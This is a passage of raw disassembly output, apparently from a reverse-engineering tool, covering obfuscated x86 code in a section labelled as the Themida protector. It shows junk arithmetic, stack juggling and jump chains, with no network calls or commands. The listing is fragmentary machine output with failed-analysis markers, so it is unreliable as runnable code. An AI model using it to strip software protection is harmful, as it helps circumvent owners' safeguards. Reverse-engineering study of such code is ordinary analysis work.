xchg eax, [esp+16h+var_18+2]
jmp loc_55B718
; ---------------------------------------------------------------------------
loc_5665DE: ; CODE XREF: sub_56755A-3EF5j
mov [esp+8+var_8], eax
push esp
pop eax
jmp loc_563BF7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B5E8
loc_5665E8: ; CODE XREF: sub_56B5E8-B6DFj
inc edi
sub edi, 407001FDh
mov ebx, edi
jmp loc_5697A9
; END OF FUNCTION CHUNK FOR sub_56B5E8
; ---------------------------------------------------------------------------
loc_5665F6: ; CODE XREF: Themida_:00569E00j
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push edi
mov edi, esp
add edi, 4
push esi
push edi
mov edi, 203DE6h
mov esi, 0FFDFC21Eh
jmp loc_56FE3E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F861
loc_56662E: ; CODE XREF: sub_55F861+1j
mov ebx, 4
jmp loc_561E4B
; END OF FUNCTION CHUNK FOR sub_55F861
; ---------------------------------------------------------------------------
loc_566638: ; CODE XREF: Themida_:00560DA2j
mov ecx, 4
add edx, ecx
pop ecx
push esi
mov esi, 4
add edx, esi
pop esi
xchg edx, [esp]
pop esp
jmp loc_569ADB
; ---------------------------------------------------------------------------
loc_566652: ; CODE XREF: Themida_:0056AE55j
shl ebx, 4
sub ebx, 1F08379Ch
add ebx, 99F5C7A2h
sub ebp, ebx
pop ebx
jmp loc_56536C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566669: ; CODE XREF: sub_56755A-7708j
push [esp+4+var_4]
jmp loc_56C925
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566671: ; CODE XREF: Themida_:0055DB17j
mov ebp, esi
pop esi
dec ebp
jmp loc_55E441
; =============== S U B R O U T I N E =======================================
sub_56667A proc near ; CODE XREF: sub_56755A-7B36j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055F2CF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055F7DE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563C77 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005659C9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568E42 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569119 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00569332 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00569B09 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056D286 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056ED4F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056F8F3 SIZE 00000019 BYTES
push ebp
jmp loc_569119
sub_56667A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566680: ; CODE XREF: sub_56755A+A32j
add esp, 4
add edi, 6D74DDh
shr edi, 4
sub edi, 8AEA9BF7h
mov edx, edi
jmp loc_55C235
; ---------------------------------------------------------------------------
loc_56669C: ; CODE XREF: sub_56755A-66B9j
add edi, 47AE6A33h
jmp loc_569247
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5666A7: ; CODE XREF: Themida_:00568E21j
sub cl, 0A0h
add cl, dl
add cl, 0A0h
pop edx
sub esp, 2
mov [esp], cx
not byte ptr [esp]
jmp loc_56BFFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5666C2: ; CODE XREF: sub_56755A-540j
pop edx
push ecx
mov ecx, 2C063C63h
and ecx, 15321EF2h
push ecx
inc [esp+0Ch+var_C]
pop ecx
xor ecx, 4BC5E57h
jmp loc_55CEB7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5666DF: ; CODE XREF: Themida_:00565A03j
pop ebx
add esp, 4
push ecx
mov ecx, 4
push ecx
mov ecx, 5D7A54BFh
jmp loc_5672C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C92
loc_5666F4: ; CODE XREF: sub_565C92-12FAj
pop ebx
push edi
mov edi, esp
add edi, 4
jmp loc_56767E
; END OF FUNCTION CHUNK FOR sub_565C92
; ---------------------------------------------------------------------------
loc_566703: ; CODE XREF: Themida_:00563C9Ej
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
bt [esp], ax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EA9F
loc_56671A: ; CODE XREF: sub_55EA9F+10440j
pop edx
add ebp, esi
pop esi
push esi
jmp loc_5692BE
; END OF FUNCTION CHUNK FOR sub_55EA9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566724: ; CODE XREF: sub_56755A+8F4j
xor esi, [esp+8+var_8]
xor [esp+8+var_8], esi
xor esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov [esp+8+var_8], edx
jmp loc_55FA83
; ---------------------------------------------------------------------------
loc_566738: ; CODE XREF: sub_56755A-A1BDj
pop eax
jmp loc_56DCA4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56673E: ; CODE XREF: Themida_:00563431j
mov edi, 20D5645h
jmp loc_56B9B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5607D3
loc_566748: ; CODE XREF: sub_5607D3+3878j
add esp, 4
xor ecx, 243B23A9h
pop ebx
push ebp
mov ebp, 29BB64DEh
jmp loc_567400
; END OF FUNCTION CHUNK FOR sub_5607D3
; ---------------------------------------------------------------------------
loc_56675D: ; CODE XREF: Themida_:00564BA6j
add eax, ebx
jmp loc_564DD5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56626C
loc_566764: ; CODE XREF: sub_56626C+234Dj
push 487Bh
mov [esp+4+var_4], ecx
mov ecx, 3FCh
push 6AC5h
mov [esp+8+var_8], ebp
mov ebp, 8342405h
jmp loc_567AEC
; END OF FUNCTION CHUNK FOR sub_56626C
; ---------------------------------------------------------------------------
loc_566783: ; CODE XREF: Themida_:00565BCFj
mov eax, 0D325A5Ch
sub ebx, eax
pop eax
jmp loc_56904D
; ---------------------------------------------------------------------------
loc_566790: ; CODE XREF: Themida_:0056F092j
sub eax, 4
xchg eax, [esp]
pop esp
push 77E3h
mov [esp], esp
push eax
mov eax, 4
add dword ptr [esp+4], 5D1276E5h
add [esp+4], eax
sub dword ptr [esp+4], 5D1276E5h
pop eax
jmp loc_56C0D3
; ---------------------------------------------------------------------------
loc_5667C1: ; CODE XREF: Themida_:005641DFj
mov [esp], edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
jmp loc_560407
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5667DD: ; CODE XREF: sub_56755A-9A6Bj
sub ebx, eax
jmp loc_55B6E8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_5667E4: ; CODE XREF: sub_562F50+2879j
xchg ebx, edx
not ebx
xchg ebx, edx
sub edx, 0BF14ABFFh
mov eax, edx
pop edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+4+var_4]
jmp loc_55F8BE
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56680A: ; CODE XREF: sub_56755A-BE6Bj
push ecx
mov ecx, 12C111E0h
add ebx, ecx
pop ecx
add ebx, edi
sub ebx, 12C111E0h
sub esp, 4
mov [esp+8+var_8], esi
mov esi, 48A52390h
shr esi, 5
sub esi, 9C5102F8h
sub ebx, esi
pop esi
sub esp, 4
mov [esp+8+var_8], esi
mov esi, 7E1910F0h
jmp loc_55F320
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566845: ; CODE XREF: Themida_:0055D179j
pop eax
pop dword ptr [esp]
xor eax, ebp
xor ebp, eax
xor eax, ebp
xor ebp, ebx
xor ebx, ebp
xor ebp, ebx
not ebx
xor ebp, ebx
xor ebx, ebp
xor ebp, ebx
push eax
push 291Ah
mov [esp], ebp
pop eax
pop ebp
xchg eax, [esp]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_566870: ; CODE XREF: Themida_:0056EBE7j
mov edi, esp
jmp loc_55F3D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566877: ; CODE XREF: sub_56755A+4B13j
mov edx, 4728494Eh
jmp loc_563CE4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F13C
loc_566881: ; CODE XREF: sub_56F13C+8j
pop ebx
sub eax, 1
jmp loc_5617A6
; END OF FUNCTION CHUNK FOR sub_56F13C
; ---------------------------------------------------------------------------
loc_56688C: ; CODE XREF: Themida_:00560F25j
xchg ebp, [esp]
jmp loc_56D521
; =============== S U B R O U T I N E =======================================
sub_566894 proc near ; CODE XREF: sub_5644A0-6EF0j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056E742 SIZE 00000010 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, 63E85976h
and eax, 0FA510E5h
dec eax
jmp loc_56E742
sub_566894 endp
; ---------------------------------------------------------------------------
loc_5668AD: ; CODE XREF: Themida_:00562118j
add edx, 79274532h
or edx, 65FB7D81h
shr edx, 3
jmp loc_55C3F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_5668C1: ; CODE XREF: sub_566504-472Aj
push edx
push edi
push ebx
mov ebx, 31D34E26h
add ebx, 0CE2CB1DAh
mov edi, ebx
jmp loc_560290
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
loc_5668D6: ; CODE XREF: Themida_:0055EFF5j
xor edi, 0F7B29E3Ch
xor ecx, edi
mov edi, [esp]
jmp loc_562949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_5668E6: ; CODE XREF: sub_568D4B-1EE1j
xchg ebx, [esp+0]
pop esp
sub esp, 4
mov [esp+0], ebp
push [esp+arg_0]
pop ebp
jmp loc_55D79F
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE72
loc_5668FA: ; CODE XREF: sub_56AE72-4B15j
sub eax, 73520DFh
mov edi, [esp+0]
jmp loc_55E401
; END OF FUNCTION CHUNK FOR sub_56AE72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566907: ; CODE XREF: sub_56755A-1AB8j
not bl
jmp loc_56E129
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56690E: ; CODE XREF: Themida_:005635B5j
xor edx, ebx
pop ebx
mov esi, edx
mov edx, [esp]
jmp loc_55B78C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C3A
loc_56691B: ; CODE XREF: sub_561C3A+1AD5j
mov edi, 4BF708B0h
xor edi, 375B0793h
jmp loc_55F5FA
; END OF FUNCTION CHUNK FOR sub_561C3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56692B: ; CODE XREF: sub_56755A+3434j
mov ebp, [esp-0Ch+arg_8]
add esp, 4
xchg edx, [esp-10h+arg_C]
mov esp, [esp-10h+arg_C]
sar [esp-10h+arg_C], cl
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5706E9
loc_566940: ; CODE XREF: sub_5706E9-7834j
xor eax, esi
jmp loc_569431
; END OF FUNCTION CHUNK FOR sub_5706E9
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_568388
; ---------------------------------------------------------------------------
loc_56694F: ; CODE XREF: Themida_:00563E99j
sub eax, 2021FFFCh
add edi, eax
pop eax
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], eax
jmp loc_55E397
; ---------------------------------------------------------------------------
loc_566969: ; CODE XREF: Themida_:00570560j
inc edx
push 7A9Eh
jmp loc_5680E4
; ---------------------------------------------------------------------------
loc_566974: ; CODE XREF: Themida_:00568ED2j
add ebp, 6290FF3h
add ebp, eax
push ecx
jmp loc_560FB9
; ---------------------------------------------------------------------------
loc_566982: ; CODE XREF: Themida_:00561CD0j
push bx
mov bh, 0D5h
mov dl, bh
pop bx
jmp loc_56E6B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_56698F: ; CODE XREF: sub_562F50-367Bj
mov eax, 0
jmp loc_568F8B
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566999: ; CODE XREF: sub_56755A-62EDj
push esi
pop ebp
jmp loc_561640
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5669A0: ; CODE XREF: Themida_:0056B0C9j
mov edx, 25B045D6h
mov ecx, edx
jmp loc_569E7E
; ---------------------------------------------------------------------------
loc_5669AC: ; CODE XREF: Themida_:005649B7j
mov [esp], edx
push ebp
mov ebp, 43EF79AFh
mov edx, ebp
pop ebp
xor eax, edx
pop edx
jmp loc_569BFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_5669C0: ; CODE XREF: sub_56CB7D-FEFAj
push ecx
jmp loc_56B4A5
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_5669C6: ; CODE XREF: Themida_:0056169Cj
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_55D936
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_5669DD: ; CODE XREF: sub_55D71E+32F8j
mov ebx, [esp+8+var_8]
add esp, 4
pop ecx
push edx
mov dl, ah
sub esp, 4
mov [esp+8+var_8], eax
mov al, dl
sub esp, 4
jmp loc_567544
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
loc_5669FD: ; CODE XREF: Themida_:0056DB53j
push 7114h
mov [esp], ebp
jmp loc_569711
; ---------------------------------------------------------------------------
loc_566A0A: ; CODE XREF: Themida_:0056545Fj
add eax, 4
push edx
mov edx, 4
jmp loc_568500
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD48
loc_566A1A: ; CODE XREF: sub_56CD48-8582j
mov [esp+0], ebx
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
add esp, 4
push 6D5Ch
mov [esp+4+var_4], ebp
push esp
jmp loc_569B85
; END OF FUNCTION CHUNK FOR sub_56CD48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566A34: ; CODE XREF: sub_56755A-8B12j
push 492Bh
jmp loc_561A93
; ---------------------------------------------------------------------------
loc_566A3E: ; CODE XREF: sub_56755A-2E20j
mov ebp, 73686A0Bh
sub esi, ebp
pop ebp
pop edi
xor esi, [esp+4+var_4]
xor [esp+4+var_4], esi
xor esi, [esp+4+var_4]
pop esp
mov [esp+0], esi
jmp loc_55E92B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566A59: ; CODE XREF: Themida_:0055BBF8j
push cx
mov cl, 0ABh
add bl, cl
pop cx
xor cl, bl
pop ebx
add cl, 0CFh
jmp loc_55BC0D
; ---------------------------------------------------------------------------
loc_566A6C: ; CODE XREF: Themida_:0056B6E1j
push ecx
jmp loc_56D4C5
; ---------------------------------------------------------------------------
loc_566A72: ; CODE XREF: Themida_:0056555Cj
pop edi
add ebp, eax
pop eax
mov edx, ebp
pop ebp
xor edx, 7D125F7Eh
add eax, edx
mov edx, [esp]
jmp loc_570579
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562272
loc_566A89: ; CODE XREF: sub_562272+D427j
neg edi
jmp loc_563D95
; END OF FUNCTION CHUNK FOR sub_562272
; ---------------------------------------------------------------------------
loc_566A90: ; CODE XREF: Themida_:005639B5j
push ebp
xor dword ptr [esp], 0CC47D2Ah
mov ecx, [esp]
add esp, 4
xor ecx, 0CC47D2Ah
mov ebp, [esp]
add esp, 4
jmp loc_566E31
; ---------------------------------------------------------------------------
loc_566AB2: ; CODE XREF: Themida_:0056A541j
mov eax, 3E2278FEh
jmp loc_56D720
; ---------------------------------------------------------------------------
loc_566ABC: ; CODE XREF: Themida_:0056BCCDj
mov ebp, 4
mov eax, ebp
pop ebp
add edi, eax
pop eax
sub edi, 4
jmp loc_563B38
; ---------------------------------------------------------------------------
loc_566ACF: ; CODE XREF: Themida_:0055D1CDj
mov bl, 0Ah
jmp loc_56CC05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_566AD6: ; CODE XREF: sub_563973-DDj
mov ecx, [edx]
pop edx
push eax
push 1809h
mov [esp+0], ecx
jmp loc_56EB9D
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566AE7: ; CODE XREF: sub_56755A+6D59j
pop edi
sub edi, 0F9FE5A52h
add esi, 4493565Bh
jmp loc_55B623
; ---------------------------------------------------------------------------
loc_566AF9: ; CODE XREF: sub_56755A+1F8j
mov eax, esp
push ecx
mov ecx, 4
add eax, ecx
pop ecx
add eax, 4
jmp loc_561D55
; ---------------------------------------------------------------------------
loc_566B0C: ; CODE XREF: sub_56755A-60D9j
add edi, ecx
push dword ptr [esp+0]
pop ecx
add esp, 4
xchg edi, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
add word ptr [esp-4+arg_0], ax
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566B28: ; CODE XREF: Themida_:0055FD1Aj
not ebp
inc ebp
jmp loc_560C80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560DA7
loc_566B30: ; CODE XREF: sub_560DA7+D294j
mov eax, 4
jmp loc_56FB23
; END OF FUNCTION CHUNK FOR sub_560DA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B5E8
loc_566B3A: ; CODE XREF: sub_56B5E8-1E38j
add ecx, ebx
sub ecx, 39FC4D54h
jmp loc_565FC1
; END OF FUNCTION CHUNK FOR sub_56B5E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_566B47: ; CODE XREF: sub_56CB1B-5A7Aj
mov ebp, [esp+8+var_8]
add esp, 4
neg ebx
jmp loc_55D644
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
loc_566B54: ; CODE XREF: Themida_:0056A14Bj
sub [esp+8], ebx
jmp loc_565E38
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_566B64: ; CODE XREF: Themida_:00564207j
inc ecx
xor ecx, 2A582E8Bh
jmp loc_56F7AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566B70: ; CODE XREF: sub_56755A+7C6Dj
add eax, 4
xchg eax, [esp+0]
jmp loc_56E529
; ---------------------------------------------------------------------------
loc_566B7B: ; CODE XREF: sub_56755A-5421j
mov eax, 4
add ecx, eax
mov eax, [esp+18h+var_18]
add esp, 4
xchg ecx, [esp+14h+var_14]
pop esp
mov ebx, [esp+10h+var_10]
jmp loc_560BB8
; ---------------------------------------------------------------------------
loc_566B97: ; CODE XREF: sub_56755A-B54Dj
add eax, 1AE861DBh
jmp loc_564821
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566BA1: ; CODE XREF: Themida_:0056CCECj
add al, 4Dh
jmp loc_56C516
; ---------------------------------------------------------------------------
loc_566BA8: ; CODE XREF: Themida_:00560ACAj
push ebp
jmp loc_56F356
; ---------------------------------------------------------------------------
loc_566BAE: ; CODE XREF: Themida_:00569FE0j
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, 17697335h
add ebx, 0DEF551Fh
shl ebx, 8
push esi
push 58C853FEh
pop esi
push esi
mov esi, 5E6846B7h
jmp loc_56FB0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_566BD7: ; CODE XREF: sub_56026A+2EFj
mov ebp, [esp+0Ch+var_C]
add esp, 4
xor ecx, [esp+8+var_8]
xor [esp+8+var_8], ecx
xor ecx, [esp+8+var_8]
mov esp, [esp+8+var_8]
idiv ecx
jmp loc_56E8E6
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_566BF0: ; CODE XREF: sub_56CB1B-7A72j
add [esp+8+var_8], 48111039h
mov ecx, [esp+8+var_8]
push eax
mov eax, esp
jmp sub_562F50
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565996
loc_566C02: ; CODE XREF: sub_565996+9B9Ej
pop esi
push ebp
mov ebp, 1E1E2584h
inc ebp
dec ebp
jmp sub_56026A
; END OF FUNCTION CHUNK FOR sub_565996
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566C10: ; CODE XREF: sub_56755A-60BFj
xor [esp-8+arg_4], edx
xor edx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp-4+arg_0]
pop esp
push edx
push esp
pop edx
add edx, 4
push esi
mov esi, 69456D0Fh
not esi
push eax
mov eax, 1BBD37EEh
add eax, 4D883526h
add esi, eax
pop eax
jmp loc_56F0E1
; ---------------------------------------------------------------------------
loc_566C50: ; CODE XREF: sub_56755A-5149j
push ecx
mov ecx, 0A0252C5h
sub ecx, 2C890890h
shr ecx, 1
neg ecx
jmp loc_560C4D
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_566C65 proc near ; CODE XREF: sub_565F9F+765Cj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055E945 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055F092 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00564755 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0056AEA6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056B895 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056CDBA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F0E8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056FD00 SIZE 00000023 BYTES
sub esp, 4
jmp loc_56CDBA
sub_566C65 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566C70: ; CODE XREF: sub_56755A-4237j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp-6+arg_0+2]
pop esp
add bl, 4Ah
jmp loc_55D6B0
; ---------------------------------------------------------------------------
loc_566C8A: ; CODE XREF: sub_56755A-A5BBj
mov ecx, [esp-4+arg_0]
add esp, 4
sub esp, 4
mov [esp-4+arg_0], ebx
mov ebx, 0D4623F7h
xor ecx, ebx
pop ebx
jmp loc_55E559
; ---------------------------------------------------------------------------
loc_566CA9: ; CODE XREF: sub_56755A+89C9j
xor ecx, ebx
pop ebx
and ecx, 61B469B8h
and ecx, 363E64B4h
jmp loc_561B78
; ---------------------------------------------------------------------------
loc_566CBD: ; CODE XREF: sub_56755A+2CB3j
add eax, 4
xchg eax, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
push ebx
mov ebx, esp
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
sub ebx, 4
xchg ebx, [esp-8+arg_4]
jmp loc_56D87B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566CE0: ; CODE XREF: Themida_:0056A743j
push esp
jmp loc_55EE7E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_566CE6: ; CODE XREF: sub_56B774-9A95j
add esi, ebx
pop ebx
push eax
push ecx
mov ecx, 43486F82h
shr ecx, 5
push edi
mov edi, 17414AAAh
add ecx, 0EA51BB9h
add ecx, edi
jmp loc_56D7C0
; END OF FUNCTION CHUNK FOR sub_56B774
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_566D06: ; CODE XREF: sub_56CB7D-DC0Dj
mov edi, 237DF24Ch
add esi, 49BF748Ch
add esi, edi
sub esi, 49BF748Ch
pop edi
and eax, esi
push dword ptr [esp+0]
pop esi
push ecx
push esp
pop ecx
jmp loc_56E458
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_566D28: ; CODE XREF: Themida_:00563E2Dj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_560380
; ---------------------------------------------------------------------------
loc_566D44: ; CODE XREF: Themida_:00562FADj
not eax
add eax, 12022C03h
jmp loc_55F0DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C3A
loc_566D50: ; CODE XREF: sub_561C3A-4133j
xchg esi, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
push edi
jmp loc_55F52A
; END OF FUNCTION CHUNK FOR sub_561C3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_566D5C: ; CODE XREF: sub_563973+Cj
xor ebx, 0AE50C40h
add edx, ebx
jmp loc_565A38
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_566D69: ; CODE XREF: sub_56D164+2E9j
sub ebx, 53487187h
or ebx, 7F7B42CBh
shl ebx, 1
jmp loc_569E21
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_566D7C: ; CODE XREF: sub_5635DE+3B4j
xor ecx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esp
push edx
mov edx, 4
add [esp+8+var_4], edx
push [esp+8+var_8]
jmp loc_570200
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566D95: ; CODE XREF: sub_56755A+33ECj
xor edx, 64006D99h
add eax, edx
pop edx
add eax, 3CEC2765h
add eax, edx
sub eax, 3CEC2765h
sub eax, 6C696B4Bh
pop edx
jmp loc_568BF0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566DB5: ; CODE XREF: Themida_:00560458j
add esp, 4
sub esp, 4
jmp loc_56F29C
; =============== S U B R O U T I N E =======================================
sub_566DC6 proc near ; CODE XREF: sub_56755A+2C29j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00562490 SIZE 00000014 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 662793Ch
push ebp
mov ebp, 3C9B2A57h
add ebp, 678021A2h
and ebp, 73B614BBh
shr ebp, 4
not ebp
jmp loc_562490
sub_566DC6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_566DF0: ; CODE XREF: sub_56971C-6407j
sub ebp, 4A5C0A93h
push edx
mov edx, 2DDF7227h
add edx, 32E059B5h
or edx, 64A61C99h
neg edx
add edx, 0BB460E76h
sub ebp, edx
pop edx
shl ebp, 3
xor ebp, 46A05233h
xor ebp, 0CA627B77h
add ecx, ebp
jmp loc_563B5B
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
loc_566E29: ; CODE XREF: Themida_:00561CFFj
sub ebx, 4
jmp loc_56E853
; ---------------------------------------------------------------------------
loc_566E31: ; CODE XREF: Themida_:00566AADj
sub ecx, 42D67CF5h
jmp loc_56CAAE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_566E3C: ; CODE XREF: sub_56B774+ED3j
push esi
push [esp+0Ch+var_8]
jmp loc_55C743
; END OF FUNCTION CHUNK FOR sub_56B774
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_566E46: ; CODE XREF: sub_55C719+357Dj
mov edx, [esp+0Ch+var_C]
add esp, 4
jmp loc_564C5B
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_566E51: ; CODE XREF: sub_560B67+5038j
push esp
pop ebp
push edi
jmp loc_5616AF
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_566E59: ; CODE XREF: sub_568D4B+6j
mov edx, 4
add ebx, edx
pop edx
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
jmp loc_5668E6
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
loc_566E6F: ; CODE XREF: Themida_:00569088j
xor ebp, 0FA89FE8Fh
